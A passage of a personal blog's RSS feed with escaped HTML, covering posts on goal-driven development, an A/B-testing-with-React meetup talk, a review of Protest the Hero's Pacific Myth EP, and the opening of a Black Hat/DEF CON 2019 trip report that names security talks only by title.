      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;In summary&lt;/h1&gt;
&lt;p&gt;Measurements and a focus on goals lets us verify that changes are for the better – to check whether we reach our goals; The Lean-startup methodology sums this process up as &quot;build-measure-learn&quot;. What we really care about are the results.&lt;/p&gt;
&lt;p&gt;For this to work well, we need a tight dialogue between developer and analyst, as well as good communication between the development team and the product owner. It is extremely important that both the customer and the entire team is down with this way of working and understands the strategy.&lt;/p&gt;
&lt;p&gt;It is very helpful to document everything related to testing and to keep the information structured.&lt;/p&gt;
&lt;p&gt;This way of working, in our experience, speeds up the development cycle, and the fact that we have data about changes makes things very exciting – we can measure the way our changes impact the users.
It&apos;s motivating to see the progress we make, to see that we achieve our goals. It&apos;s also exciting to see how our actions affect the total solution. It makes it easier to feel ownership of the changes; there&apos;s less codemonkeying and more power of definition for developers.&lt;/p&gt;
&lt;p&gt;The example case above is more or less a translation of some of the slides from a presentation held at an internal event at Bouvet by our project leader, Jasmine &quot;The Lean Machine&quot; Garry.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A/B Testing with React]]></title><description><![CDATA[On the 14th of December last year, Bouvet hosted a ReactJS Oslo Meetup, where Lars and I held a presentation about A/B Testing with React…]]></description><link>https://eivindarvesen.com/blog/2018/01/14/a-b-testing-with-react</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/01/14/a-b-testing-with-react</guid><content:encoded>&lt;p&gt;On the 14th of December last year, Bouvet hosted a &lt;a href=&quot;https://www.meetup.com/ReactJS-Oslo-Meetup/events/245723575/&quot;&gt;ReactJS Oslo Meetup&lt;/a&gt;, where &lt;a href=&quot;https://no.linkedin.com/in/lars-d%C3%B8lvik-48336370&quot;&gt;Lars&lt;/a&gt; and I held a presentation about A/B Testing with React based on our experience with this from our work on a solution for one of our big customers.&lt;/p&gt;
&lt;p&gt;The presentation covered some of the same content as our presentation about &lt;a href=&quot;/blog/2017/12/05/hypothesis--and-goal-driven-development&quot;&gt;Hypothesis- and Goal-Driven Development&lt;/a&gt; - providing a context for our application of variation testing - but it mainly covered with the specifics of dealing with A/B testing in the code base of our React application, as opposed to doing it in the server entrypoint on the Google Cloud Platform or somesuch.&lt;/p&gt;
&lt;p&gt;You can find our presentation slides &lt;a href=&quot;ABtesting.pdf&quot;&gt;here&lt;/a&gt; (PDF, English), and a very simple demo app &lt;a href=&quot;https://github.com/EivindArvesen/ab-testing-react-meetup&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; _ A video of the presentation has since been uploaded. _&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/Gxe_siWW-_A&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;</content:encoded></item><item><title><![CDATA[Pacific Myth]]></title><description><![CDATA[After 2013's crowdfunded Volition, the prog-canucks of Protest the Hero once again went with an alternative release method. Originally…]]></description><link>https://eivindarvesen.com/blog/2017/01/26/pacific-myth</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2017/01/26/pacific-myth</guid><content:encoded>&lt;p&gt;After 2013&apos;s crowdfunded &lt;em&gt;Volition&lt;/em&gt;, the prog-canucks of Protest the Hero once again went with an alternative release method.&lt;/p&gt;
&lt;p&gt;Originally released song-by-song on a monthly basis between October 2015 and March 2016, the &lt;em&gt;Pacific Myth&lt;/em&gt; EP has been available to those of us that bought into the subscription model for about a year. Now it has finally been made available for everyone else - remixed and remastered.&lt;/p&gt;
&lt;p&gt;Whereas their debut and sophomore releases - &lt;em&gt;Kezia&lt;/em&gt; (2005) and &lt;em&gt;Fortress&lt;/em&gt; (2008) - were concept albums that dealt with the execution of a young woman told from different perspectives, and goddess worship, respectively, the following albums saw a change in lyrical style.
Their third record, &lt;em&gt;Scurrilous&lt;/em&gt; (2011), saw singer Rody Walker taking over lyrical duties from then bass player Arif Mirabdolbaghi - writing more direct, personal lyrics.
&lt;em&gt;Volition&lt;/em&gt; continued this trend, featuring more social commentary and examinations of universal subjects - in addition to a song about why Star Trek is better than Star Wars.&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/a7pvvAuj7jw&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;The lyrics on Pacific Myth lean more towards the style on their earlier work than their two previous records.
With each passing song, the lyrics seem to build up a mythical concept like on &lt;em&gt;Kezia&lt;/em&gt; and &lt;em&gt;Fortress&lt;/em&gt;, albeit a &lt;strong&gt;very&lt;/strong&gt; different one.
Though the lyrics tell a story, its meaning is very vague - at times almost &lt;em&gt;too ambiguous&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;In my opinion, the &lt;em&gt;myth&lt;/em&gt; is an existentialist story; sort of a compressed version of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Hero&amp;#x27;s_journey&quot;&gt;hero&apos;s journey&lt;/a&gt; - unless I&apos;m just experiencing the Baader-Meinhof phenomenon.
There might be a &lt;a href=&quot;https://en.wikipedia.org/wiki/Strange_loop&quot;&gt;strange loop&lt;/a&gt; (&lt;em&gt;Gödel, Escher, Bach&lt;/em&gt;) going on as well, as the metanarrative seems to weave into the original yearning for something more conveyed in the album opener.&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 126.66666666666666%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://embed.spotify.com/?uri=spotify%3Aalbum%3A4j4bB8kPwRaFpaMW1QQ7E7&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Tidal&lt;/strong&gt; kickstarts the record.
Full of energic ennui, it laments the dull, gray, ordinary world, and yearns for meaning - &quot;something more than getting by&quot;.
But then everything changes - something happens which cannot be undone.
It describes a kind of emotionally existential imperative; A call to action.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ragged tooth&lt;/strong&gt; describes the going against the grain - the stale and old must give way for the new to grow; incurring judgement for upsetting the status quo. Not fearing those that doubt - being justified. Being successful in going beyond where anyone else have.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cold water&lt;/strong&gt; is about perilous conflict; failure after all. Regrets about a life wasted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cataract&lt;/strong&gt; signals decisive action - not giving up - leading to victory at last. Defining for oneself, in order to live a life of purpose.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Harbinger&lt;/strong&gt; details the complete conquering of the threat and return to the journey&apos;s outset. The threat is gone, and all is well. It&apos;s over. But there is always a possibility of danger - and there are bad omens.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caravan&lt;/strong&gt; starts with the same symbolism as earlier songs, but describing failure, and a reemerged threat - but as the metaphors morph, the obscure myth gives way to a metanarrative that comments on all the previous lyrics and concept-building on the record.
This closing song is the big reveal.&lt;/p&gt;
&lt;p&gt;The song criticizes tired metaphors, entertainment that doesn&apos;t offer intellectual gain, and meaning that &quot;is open to interpretation&quot; - the singer even criticizes himself for saying something to that effect in the past.
He&apos;s tired of it. At the same time, he can&apos;t control other people and their wants -
but he can try to do something constructive about it.
He describes it all as &quot;a catchy way of saying nothing&quot;, and the narrative as just being words punched in a template.
He&apos;s tired of unoriginal concepts; if every story is the same, then it doesn&apos;t interest him at all.
He wants stories with meaning.
Something better than this.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;My problem’s the consistency with every concept made&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Don’t just tell me a story&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;What does it convey?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Much has been said about the reveal in &lt;strong&gt;Caravan&lt;/strong&gt;.
There was a &lt;a href=&quot;https://www.reddit.com/r/protest_the_hero/comments/4aqskw/the_pacific_myth_and_caravans_place_in_it/&quot;&gt;discussion&lt;/a&gt; on the band&apos;s subreddit after all the songs were originally released, which had some interesting analysis.&lt;/p&gt;
&lt;p&gt;Experiencing the EP during its original subscription release was a pretty interesting experience, as it gave me a chance to really take in one song at a time, and an opportunity to wonder where it would go next.
While intepreting the lyrics was an entertaining exercise, listening to the fourth-wall-breaking conclusion for the first time was definitively worth ruining the last few months&apos; worth of build up.&lt;/p&gt;
&lt;p&gt;Singer Rody Walker offered an explanation as as a comment on another &lt;a href=&quot;https://www.reddit.com/r/protest_the_hero/comments/4f1wuv/dissenting_opinion_of_caravan_lyrics/&quot;&gt;post&lt;/a&gt; in the subreddit, stating that&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;My issue is with meaningless lyrics that are intentionally vague to dupe the listener into believing there is something more... When there is not. [...] I&apos;m not saying don&apos;t leave things up to interpretation. I&apos;m asking for stories with morals.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;He also mentions Carl Jung and Joseph Campbell in the same post, saying that according to their theories, concept records would need theses to not all be the same.&lt;/p&gt;
&lt;p&gt;In the end, &lt;em&gt;Pacific Myth&lt;/em&gt; just tells a story using &quot;words pushed in a template&quot;, conveying nothing - except in its conclusion, which escheresquely leads to the original level in the lyrical content&apos;s hierarchy, as I see it: Framing the myth-part of the lyrics as an allegory for the record itself and its moral, and thus keeping the endless loop going.&lt;/p&gt;
&lt;p&gt;Meta-metal, anyone?&lt;/p&gt;
&lt;p&gt;If you&apos;d like to know more about Protest the Hero, you can find an interesting interview with Rody Walker on the podcast Lead Singer Syndrome below.&lt;/p&gt;
&lt;iframe width=&quot;100%&quot; height=&quot;450&quot; scrolling=&quot;no&quot; frameborder=&quot;no&quot; src=&quot;https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/297532289&amp;amp;auto_play=false&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;visual=true&quot;&gt;&lt;/iframe&gt;
&lt;p&gt;Pacificy Myth is available on Spotify.&lt;/p&gt;
&lt;p&gt;You can buy the EP on &lt;a href=&quot;https://protestthehero.bandcamp.com/album/pacific-myth-official-release&quot;&gt;Bandcamp&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Hacker Summer Camp 2019]]></title><description><![CDATA[… So I've finally recovered from Hacker Summer Camp and the resulting Con Flu.  I've long been interested in what happens at Black Hat and…]]></description><link>https://eivindarvesen.com/blog/2019/08/18/hacker-summer-camp-2019</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2019/08/18/hacker-summer-camp-2019</guid><content:encoded>&lt;p&gt;… So I&apos;ve finally recovered from Hacker Summer Camp and the resulting Con Flu.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/a7bb68434cc3c2261e6f998521784d2c/d2602/mandalay.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75.31645569620254%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAIDBAX/xAAXAQADAQAAAAAAAAAAAAAAAAAAAQID/9oADAMBAAIQAxAAAAEojWfUYCP/xAAZEAEAAwEBAAAAAAAAAAAAAAABAAIDERL/2gAIAQEAAQUCM+zzxrmIWbx0taxoz//EABcRAAMBAAAAAAAAAAAAAAAAAAABERL/2gAIAQMBAT8ByiI//8QAFxEAAwEAAAAAAAAAAAAAAAAAAAISEf/aAAgBAgEBPwG2wtj/xAAYEAADAQEAAAAAAAAAAAAAAAAAASExEf/aAAgBAQAGPwLBFZxNm1EP/8QAGRAAAwEBAQAAAAAAAAAAAAAAAAERITFx/9oACAEBAAE/IWVGwzGumkUKtb2Ee0QT6p//2gAMAwEAAgADAAAAEIg//8QAFxEAAwEAAAAAAAAAAAAAAAAAARARQf/aAAgBAwEBPxAWuL//xAAXEQEBAQEAAAAAAAAAAAAAAAABABFB/9oACAECAQE/EEMdif/EABoQAQADAQEBAAAAAAAAAAAAAAEAESExQWH/2gAIAQEAAT8Q8Gu3EIN/PJZ0hoM5KsT2hjNLSDMGg23Ovm9WjfZ//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Mandalay Bay&quot;
        title=&quot;Mandalay Bay&quot;
        src=&quot;/static/a7bb68434cc3c2261e6f998521784d2c/828fb/mandalay.jpg&quot;
        srcset=&quot;/static/a7bb68434cc3c2261e6f998521784d2c/ff44c/mandalay.jpg 158w,
/static/a7bb68434cc3c2261e6f998521784d2c/a6688/mandalay.jpg 315w,
/static/a7bb68434cc3c2261e6f998521784d2c/828fb/mandalay.jpg 630w,
/static/a7bb68434cc3c2261e6f998521784d2c/0ede0/mandalay.jpg 945w,
/static/a7bb68434cc3c2261e6f998521784d2c/3ac88/mandalay.jpg 1260w,
/static/a7bb68434cc3c2261e6f998521784d2c/d2602/mandalay.jpg 4032w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I&apos;ve long been interested in what happens at Black Hat and DEF CON, watching every video from the conventions that I could find over the years. And this year I was lucky enough to go to both (on the company dime), as a consequence of being head of the security competency group at Bouvet East.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/6c4a79eebaf8e39f693f98ba8f1189cb/d2602/plane.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75.31645569620254%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABAAB/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAEDBP/aAAwDAQACEAMQAAABNqs0RPNmf//EABoQAAICAwAAAAAAAAAAAAAAAAABAxICExT/2gAIAQEAAQUC58hwGhjkZcsf/8QAFREBAQAAAAAAAAAAAAAAAAAAEBH/2gAIAQMBAT8Bp//EABURAQEAAAAAAAAAAAAAAAAAABAR/9oACAECAQE/AYf/xAAXEAADAQAAAAAAAAAAAAAAAAAAEDEB/9oACAEBAAY/AoYq/wD/xAAaEAACAgMAAAAAAAAAAAAAAAAAAREhQWFx/9oACAEBAAE/IZBCoW8moaVsxDo//9oADAMBAAIAAwAAABDM3//EABYRAQEBAAAAAAAAAAAAAAAAAAABEf/aAAgBAwEBPxCm1//EABYRAQEBAAAAAAAAAAAAAAAAAAEQQf/aAAgBAgEBPxAWz//EABoQAQACAwEAAAAAAAAAAAAAAAEAESExQVH/2gAIAQEAAT8QBWOveRzZNtdHhCmMGxzSx3sFQq1P/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Plane&quot;
        title=&quot;Plane&quot;
        src=&quot;/static/6c4a79eebaf8e39f693f98ba8f1189cb/828fb/plane.jpg&quot;
        srcset=&quot;/static/6c4a79eebaf8e39f693f98ba8f1189cb/ff44c/plane.jpg 158w,
/static/6c4a79eebaf8e39f693f98ba8f1189cb/a6688/plane.jpg 315w,
/static/6c4a79eebaf8e39f693f98ba8f1189cb/828fb/plane.jpg 630w,
/static/6c4a79eebaf8e39f693f98ba8f1189cb/0ede0/plane.jpg 945w,
/static/6c4a79eebaf8e39f693f98ba8f1189cb/3ac88/plane.jpg 1260w,
/static/6c4a79eebaf8e39f693f98ba8f1189cb/d2602/plane.jpg 4032w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;It was such a great experience; From talking to a CTO of a Cambridge hardware security company in our upgraded seats across the Atlantic ocean, to experiencing the madness that is the Las Vegas strip on the weekend!&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75.31645569620254%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMEAgX/xAAWAQEBAQAAAAAAAAAAAAAAAAABAAT/2gAMAwEAAhADEAAAAeGzFO4nGjf/xAAZEAEAAgMAAAAAAAAAAAAAAAACAQMAEBH/2gAIAQEAAQUCyCp3VbASfV//xAAWEQEBAQAAAAAAAAAAAAAAAAAAERL/2gAIAQMBAT8BjL//xAAaEQACAgMAAAAAAAAAAAAAAAAAAQIDEhMh/9oACAECAQE/AVbjHhuR/8QAGhAAAgIDAAAAAAAAAAAAAAAAAAERIRAxUf/aAAgBAQAGPwIdazLm+DZ//8QAGBABAQEBAQAAAAAAAAAAAAAAAQARIVH/2gAIAQEAAT8hkAL1OjPJyKPTGEAeu3//2gAMAwEAAgADAAAAEPgv/8QAFxEBAAMAAAAAAAAAAAAAAAAAARARIf/aAAgBAwEBPxBu7D//xAAYEQADAQEAAAAAAAAAAAAAAAAAAREhUf/aAAgBAgEBPxBCKr4Nm0//xAAZEAEAAwEBAAAAAAAAAAAAAAABABExIVH/2gAIAQEAAT8QFIiMixWS4ERNIjZrNp5HQ9GF4Dgeuz//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Ian Coldwater and Duffie Cooley&quot;
        title=&quot;Ian Coldwater and Duffie Cooley&quot;
        src=&quot;/static/f34129b376b4825f53829cd380061741/828fb/kube.jpg&quot;
        srcset=&quot;/static/f34129b376b4825f53829cd380061741/ff44c/kube.jpg 158w,
/static/f34129b376b4825f53829cd380061741/a6688/kube.jpg 315w,
/static/f34129b376b4825f53829cd380061741/828fb/kube.jpg 630w,
/static/f34129b376b4825f53829cd380061741/0ede0/kube.jpg 945w,
/static/f34129b376b4825f53829cd380061741/3ac88/kube.jpg 1260w,
/static/f34129b376b4825f53829cd380061741/d2602/kube.jpg 4032w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
    &lt;/span&gt;Some of my personal highlights of Black Hat include Ian Coldwater and Duffie Cooley&apos;s &lt;a href=&quot;https://www.blackhat.com/us-19/briefings/schedule/index.html#all-the-g-modules-could-be-hacked-16187&quot;&gt;talk&lt;/a&gt; about abusing Kubernetes defaults, the &lt;a href=&quot;https://www.blackhat.com/us-19/briefings/schedule/index.html#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545&quot;&gt;one&lt;/a&gt; about Pre-auth RCEs on SSL VPNs, Apple&apos;s &lt;a href=&quot;https://www.blackhat.com/us-19/briefings/schedule/index.html#behind-the-scenes-of-ios-and-mac-security-17220&quot;&gt;expanding&lt;/a&gt; their bug bounty program, and learning about Microsoft &lt;a href=&quot;https://www.blackhat.com/us-19/briefings/schedule/index.html#preventing-authentication-bypass-a-tale-of-two-researchers-17041&quot;&gt;messing up&lt;/a&gt; their jwt authentication, allowing anyone access to everybody else&apos;s inboxes on &quot;new UI&quot; Outlook. The NOC report was pretty funny too.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/87ab97a4e4d89f44e2ff92c5ff56bb6b/2a4bc/Apple-Bug.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 68.9873417721519%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiElEQVR42mWU2XKbMBiF2QXIgAEDXjDGGG+ZxJM9aSfTTHrV93+h0yPhOk178Y0W0NG/HDBMw4Fp2MT6B/vLvsX535iGqbH0swG1NoRbIBRr+N6MlBBuBuEk8GxJAghiU8A2fa4juOf95WJFGs5djbAdOJYFwxcLJPEN2SOSa8hgQSrOSzKBFPFZ0LtcYhsuxZZom1Y/E84g6li2EizQrF+w6p5wdfuB+2+/cPPwgXZzQtNeYRwXOh3bVIdUlELTr3sctnuKiUuUWlClOAobBKJClq1RzXYoipZRZgjciEiKOVpQUNC1PJZIYrfZ4rg/IApHWkhcBL0c0p8zNdbSSxG6MYl0qqE30jgUU6JKUDC60PXRzmt09RLSE7p+Qw0pqG52eOswfqIELHNwgHHuqGkYnH9F7Vm628M7hmNFjGDMVGJ41kgXXnXWd3wiEPkhpOtR3EUQZgglSxGOSTIQxPpiFZAajTRpse2eMS8PmBc9UllhzPqlfoyxH6GvG9R5DpuXLds3rLdvbNgrm/jIZt5y7xojXe8RG+TDSCiwWd2gylskssBxd41u2SFjFLEnURcVmmnFdEIsVq9o+u9othTsX9BsHtEdnjEpGggrGASjIGd0HQVrjMMcd6d7vDzQQrTEPC+xrKbomprpBFgffmB7+on++h270zs2x1e023sUZUt7ldpOjDBHPW3RVCvM0imO/R5Pt3c4HY6oJyXmWY7VfMYaBcgmO0azQz7ZUGSDOJ4y1Zgpp3RKrF1gxFxM0xkPVqiiFMtsgq4o0RYFylCilCNMoog1VI3KeSjhSH86tBTrJmmrwAm5FwwRmueP+vNDV+MfO1jwlb9Mc/hBaCvZn/z3w7DwG7LhRasN60cOAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Apple bug bounty expansion&quot;
        title=&quot;Apple bug bounty expansion&quot;
        src=&quot;/static/87ab97a4e4d89f44e2ff92c5ff56bb6b/f058b/Apple-Bug.png&quot;
        srcset=&quot;/static/87ab97a4e4d89f44e2ff92c5ff56bb6b/c26ae/Apple-Bug.png 158w,
/static/87ab97a4e4d89f44e2ff92c5ff56bb6b/6bdcf/Apple-Bug.png 315w,
/static/87ab97a4e4d89f44e2ff92c5ff56bb6b/f058b/Apple-Bug.png 630w,
/static/87ab97a4e4d89f44e2ff92c5ff56bb6b/40601/Apple-Bug.png 945w,
/static/87ab97a4e4d89f44e2ff92c5ff56bb6b/78612/Apple-Bug.png 1260w,
/static/87ab97a4e4d89f44e2ff92c5ff56bb6b/2a4bc/Apple-Bug.png 3264w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;… oh, and the &lt;a href=&quot;https://twitter.com/veorq/status/1159559785068429312&quot;&gt;Time AI stuff&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;I mean:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Using the infinite variations within music composed real-&lt;strong&gt;time&lt;/strong&gt; by artificial intelligence, &lt;strong&gt;TIME&lt;/strong&gt; &lt;strong&gt;AI&lt;/strong&gt; generates encryption keys as unique as your own iris&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Talk about crypto snake oil!&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/75b8cbf52bc246d5ec8ca65885b9e3f3/72e01/charlie.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75.31645569620254%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIEA//EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAFNIKBRxP/EABsQAAEEAwAAAAAAAAAAAAAAAAIBAxESACEx/9oACAEBAAEFAp0kpjjdiQpEDsRd/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQMBAT8BV//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABkQAAIDAQAAAAAAAAAAAAAAAAARASFREP/aAAgBAQAGPwKpNGitFz//xAAaEAEAAwEBAQAAAAAAAAAAAAABABExIUFR/9oACAEBAAE/IV105kyPiMXwg2AohjyPWJGLk//aAAwDAQACAAMAAAAQPM//xAAVEQEBAAAAAAAAAAAAAAAAAAAQEf/aAAgBAwEBPxCn/8QAFREBAQAAAAAAAAAAAAAAAAAAEBH/2gAIAQIBAT8Qp//EABsQAQEAAwADAAAAAAAAAAAAAAERACExQbHR/9oACAEBAAE/EJA5AiNDD3g3PQVGbvMRMMkDnci0J4jDGeIkO6n1zZcUz//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Charlie Day&quot;
        title=&quot;Charlie Day&quot;
        src=&quot;/static/75b8cbf52bc246d5ec8ca65885b9e3f3/828fb/charlie.jpg&quot;
        srcset=&quot;/static/75b8cbf52bc246d5ec8ca65885b9e3f3/ff44c/charlie.jpg 158w,
/static/75b8cbf52bc246d5ec8ca65885b9e3f3/a6688/charlie.jpg 315w,
/static/75b8cbf52bc246d5ec8ca65885b9e3f3/828fb/charlie.jpg 630w,
/static/75b8cbf52bc246d5ec8ca65885b9e3f3/0ede0/charlie.jpg 945w,
/static/75b8cbf52bc246d5ec8ca65885b9e3f3/72e01/charlie.jpg 1024w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
